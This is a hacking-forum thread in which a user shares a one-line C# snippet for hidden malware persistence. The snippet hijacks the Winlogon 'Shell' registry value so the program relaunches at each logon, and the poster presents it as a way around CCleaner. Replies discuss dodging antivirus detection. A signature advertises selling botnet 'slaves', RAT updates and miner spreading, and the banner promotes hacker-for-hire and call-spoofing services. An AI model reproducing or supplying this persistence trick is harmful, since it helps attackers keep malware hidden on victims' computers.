Cheap KYC Verifications & Openups ◆ ProxiesFood: Unlimited Residential Proxy ◆ Anvilpoint CyberOps - Hacker for Hire ◆ Spoof Call and Spoof SMS set any caller ◆
Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact
Hack Forums Tech Coding Software Development › [C#] Hidden Startup #2

New Reply 
C# 

Hidden Startup #2
Voidlight
Voidlight Offline
[bin@HF:]
*******
Vibe
Posts:
551
Threads:
87
Credibility:
200
Popularity:
323
βytes:
β 108
Game XP:
0
Jan 13, 2021 07:06 PM
This will bypass ccleaner, ect. Enjoy.
PHP Code

<?php 
Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows NT\CurrentVersion\Winlogon", true).SetValue("Shell", "explorer.exe,"+Process.GetCurrentProcess().MainModule.FileName + ","); 
Elijah
Elijah Offline
[bin@HF:]
*
Registered
Posts:
1,289
Threads:
18
Credibility:
2012
Popularity:
-49
βytes:
β 0
Game XP:
0
Jan 14, 2021 12:46 AM
Will it cause any runtime Detection?
the old method was havily detected by AV on runtime.
Selling Slaves , Bots , Updates for your Rat, Botnet.
Manual Spreading your Miner.
Voidlight
Voidlight Offline
[bin@HF:]
*******
Vibe
Posts:
551
Threads:
87
Credibility:
200
Popularity:
323
βytes:
β 108
Game XP:
0
Jan 14, 2021 05:49 AM
(Jan 14, 2021 12:46 AM)Elijah Wrote:  Will it cause any runtime Detection?
the old method was havily detected by AV on runtime.

I have not had issues with runtime scanning
Melted
Melted Offline
[dev@HF:]
**
HF V3ndors
Posts:
347
Threads:
18
Credibility:
3400
Popularity:
1,279
βytes:
β 1,963.52
Game XP:
1
Jun 8, 2021 10:17 AM
(Jan 13, 2021 07:06 PM)Voidlight Wrote:  This will bypass ccleaner, ect. Enjoy.
PHP Code

<?php 
Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows NT\CurrentVersion\Winlogon", true).SetValue("Shell", "explorer.exe,"+Process.GetCurrentProcess().MainModule.FileName + ","); 

Thanks, this was useful for me. Keep up the good work!
Joseph Ducreux
Joseph Ducreux Offline
thou cannot lay thy hands upon this
***
HF l33t
Posts:
3,480
Threads:
363
Credibility:
000
Popularity:
110
βytes:
β 0
Game XP:
0
Jun 13, 2021 12:17 PM
this is sneaky and interesting. using the explorer.exe process to launch things is seriously looked over and not utilized enough
[Image: lolj.png]
not a single person has the time for that scenario
GruntStyl
GruntStyl Offline
[bin@HF:]
***
HF l33t
Posts:
772
Threads:
34
Credibility:
000
Popularity:
228
βytes:
β 866.3
Game XP:
0
Jun 15, 2021 09:25 AM
(Jun 13, 2021 12:17 PM)Joseph Ducreux Wrote:  this is sneaky and interesting. using the explorer.exe process to launch things is seriously looked over and not utilized enough

Very old method and is detected by most AV's.
Elijah
Elijah Offline
[bin@HF:]
*
Registered
Posts:
1,289
Threads:
18
Credibility:
2012
Popularity:
-49
βytes:
β 0
Game XP:
0
Jun 16, 2021 08:45 AM
(Jun 15, 2021 09:25 AM)GruntStyl Wrote:  Very old method and is detected by most AV's.

i already informed OP when he posted this thread.
Selling Slaves , Bots , Updates for your Rat, Botnet.
Manual Spreading your Miner.
K A T A N A
K A T A N A Offline
[n00b@HF:]
*
Registered
Posts:
18
Threads:
6
Credibility:
000
Popularity:
2
βytes:
β 0
Game XP:
0
Jul 9, 2021 04:33 AM
(Jun 15, 2021 09:25 AM)GruntStyl Wrote:  Very old method and is detected by most AV's.

(Jun 16, 2021 08:45 AM)Elijah Wrote:  i already informed OP when he posted this thread.

If u don't know how to bypass av this code line is not for u lmao
Next Oldest | Next Newest
New Reply 


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by vichensoxSep 6, 2020 03:31 PM 7 505 Sep 6, 2020 03:31 PM
Last Post: ivory
[.NET] by Alx0Dec 15, 2018 09:33 AM 2 212 Dec 15, 2018 09:33 AM
Last Post: Alx0
[C#] by gigajewSep 4, 2018 03:45 PM 3 611 Sep 4, 2018 03:45 PM
Last Post: gigajew